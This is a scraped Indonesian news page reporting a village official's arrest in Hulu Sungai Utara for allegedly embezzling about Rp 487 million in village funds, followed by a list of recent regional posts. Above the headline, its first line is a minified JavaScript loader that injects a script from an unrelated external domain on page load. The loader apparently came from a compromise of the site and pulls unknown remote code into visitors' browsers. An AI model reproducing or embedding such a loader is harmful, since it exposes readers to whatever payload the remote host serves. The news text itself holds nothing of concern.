(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Selewengkan Dana Desa Ratusan Juta, Aparatur Desa di HSU Ditangkap


KANALKALIMANTAN.COM, AMUNTAI -Seorang oknum aparatur Desa Sungai Janjam, Kecamatan Babirik, Kabupaten Hulu Sungai Utara (HSU) berinisial AN (52) ditangkap Unit Tipidkor dan Unit Opsnal Sat Reskrim Polres HSU. AN digiring ke tahanan Mapolres HSU lantaran diduga menyelewengkan dana desa.

Penangkapan terhadap tersangka kasus tindak pidana korupsi tersebut, dilakukan setelah polisi mendapatkan laporan dari masyarakat.

Kapolres HSU AKBP Afri Darmawan SIK MJ melalui Kasat Reskrim Iptu M Andi Patinasarani SH membenarkan adanya penangkapan terhadap tersangka korupsi terkait pengelolaan Anggaran Dana Desa (ADD) tahun anggaran 2018 dan 2019 Desa Sungai Janjam, Kecamatan Babirik.

Baca juga: Ditresnarkoba Polda Kalsel Ringkus Pengedar 1,83 Kg Sabu dan 866 Ekstasi

 

“Berdasarkan hasil penyelidikan Unit Tipidkor dan Unit
Opsnal Polres HSU pada hari Kamis (15/4/2021) di sebuah rumah Desa Babai RT 20, Kecamatan Kurau Kuala, Kabupaten Barito Selatan, Kalimantan Tengah kita berhasil melakukan penangkapan terhadap pelaku,” terang Kasatreskrim Iptu M Andi Patinasarani, kepada kanalkalimantan.com, Jumat (16/4/2021) pagi.

Dari informasi kepolisian, kasus bermula ketika di tahun 2018 dan tahun 2019 Desa Sungai Janjam memperoleh Dana Desa (DD) yang bersumber dari APBN sebesar Rp 677.953.000 di tahun 2018 dan Rp.741.652.000 di tahun 2019.

“Dari dana desa tersebut rencananya bakal digunakan untuk beberapa kegiatan seperti pembangunan, pengadaan WC, pengadaan tong sampah, penerangan listrik dan pembuatan kanopi,” terang Kasatreskrim.

Namun dari beberapa kegiatan tersebut, sejumlah warga menemukan adanya dugaan penyelewengan berupa mark up harga , mark up upah tukang dan kegiatan pengadaan fiktif.

Baca juga: Jembatan Alalak 1 Satu Arah dari Banjarmasin, Angkutan Barang Tak Diperbolehkan

Hasilnya benar didapati dugaan penyelewengan yang dilakukan oleh aparatur desa dari hasil penyelidikan sebesar Rp 487.306.952 berdasarkan laporan hasil audit investigasi atas pelaksanaan kegiatan fisik yang bersumber dari dana desa (DD) pada Desa Sungai Janjam, Kecamatan Babirik Kab.HSU Nomor : LHAI – 222 / PW16 / 5 / 2020 tanggal 24 September 2020.

“Akibat dari perbuatan yang dilakukan oknum aparatur desa Sungai Janjam ini, negara mengalami kerugian sebesar Rp 487.306.952,” kata Kasatreskrim Polres HSU.

Kepada polisi pelaku mengakui perbuatannya tersebut dan akhirnya pelaku bersama barang bukti di gelandang ke Polres HSU guna penyidikan lebih lanjut.

Baca juga: Resmi Dibuka, Ini Jam Operasional Jembatan Alalak 1

Penangkapan tersangka tindak pidana korupsi ini akan diproses sebagaimana dimaksud dalam pasal Pasal 2 jo pasal 3 jo pasal 18 UU RI Nomor 31 tahun 1999 tentang pemberantasan tindak pidana korupsi, sebagaimana diubah dengan UU RI Nomor 20 tahun 2001 tentang perubahan atas UU RI No 31 tahun 1999 tentang pemberantasan tindak pidana korupsi Jo pasal 64 KUHP.

Dalam kasus ini polisi menyita beberapa barang bukti yang diiamankan, diantaranya 1 berkas APBDes Perubahan tahun 2018 Nomor 2 tahun 2018 dan 1 berkas APBDes Perubahan tahun 2019 Nomor 5 tahun 2019, serta beberapa berkas lainnya. (kanalkalimantan.com/dew)

Reporter : dew
Editor : bie


Al Ghifari

Recent Posts

Tiga Putra HSU Terbaik Pertama Syarhil Qur’an MTQ XXXV Kalsel

KANALKALIMANTAN.COM, RANTAU - Enam orang dari kafilah Kabupaten Hulu Sungai Utara (HSU) sukses meraih prestasi… Read More

14 menit ago

Resmi Ditetapkan, Ini 45 Calon Terpilih Anggota DPRD Banjarmasin 2024-2029

PAN, Golkar dan PKS Masing-masing 7 Kursi di DPRD Banjarmasin Read More

24 menit ago

Juara Umum di MTQ Provinsi, Ketua LPTQ Banjar Pastikan Bonus bagi Pemenang

KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar meraih sukses pada Musabaqah Tilawatil Quran (MTQ) Nasional XXXV Tingkat… Read More

2 jam ago

Pungut Sampah Suporter Timnas Pasca Nobar di Balai Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Suporter setia Timnas Indonesia di Kota Banjarbaru Kalimantan Selatan (Kalsel) kompak membersihkan… Read More

4 jam ago

Sah! Ini Nama 45 Calon Terpilih Anggota DPRD Kabupaten Banjar 2024-2029

Golkar dan Gerindra Masing-masing 8 Kursi, PDIP, Partai Gelora, dan PBB Kebagian 1 Kursi Read More

4 jam ago

Tok! KPU Banjarbaru Sahkan 30 Calon Terpilih Anggota DPRD Kota Banjarbaru, Ini Daftar Lengkapnya

13 Kursi Diisi Pendatang Baru, 17 Petahana Bertahan di Gedung Dewan Read More

8 jam ago

This website uses cookies.